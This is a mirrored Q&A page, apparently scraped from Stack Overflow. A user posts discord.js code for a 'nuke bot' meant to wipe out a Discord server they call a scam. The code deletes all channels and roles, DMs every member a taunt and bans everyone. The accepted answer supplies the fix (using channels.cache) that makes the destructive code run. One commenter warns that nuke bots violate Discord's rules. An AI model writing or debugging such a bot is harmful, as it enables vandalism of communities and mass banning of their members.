【问题标题】:how to delete all channel in discord.js server如何删除 discord.js 服务器中的所有频道
【发布时间】:2022-01-20 02:10:15
【问题描述】:

我要制作一个核弹机器人来核弹一个骗局服务器我已经尝试了很多方法但无法正常工作这是我当前的代码

const Discord = require('discord.js')
const client = new Discord.Client()

client.on('ready', function(){
    console.log("nukebot is ready")
})

client.on('message', function(message){
    if(message.content === "S#NUKE") {
        message.channel.send('@everyone')
        message.guild.channels.forEach(channel => channel.delete())
        message.guild.roles.forEach(role => role.delete())
        message.guild.member.forEach(member => member.send('GET BANNNED AND NUKED BY AMONGUS NUGGET GROUP')).catch(console.error())
        message.guild.member.forEach(member => member.ban()).catch(console.error())
    }
})

client.login('API_KEY_REDACTED')

这给了我一个错误:message.guild.channels.forEach is not a function

【问题讨论】:

  • 它是 channels.cache
  • 还请记住,nuke bot 是反对不和谐的,如果你使用你的,你可能会被禁止

标签: javascript node.js discord.js


【解决方案1】:

message.guild.channels.forEach() 应该是 message.guild.channels.cache.forEach()。 他们在 v12 中添加了该更新。

【讨论】:

    猜你喜欢
    • 2020-10-15
    • 2021-06-04
    • 2018-12-14
    • 2019-11-29
    • 2020-12-13
    • 2020-09-11
    • 2020-12-12
    • 2021-12-24
    • 2021-05-17
    相关资源
    最近更新 更多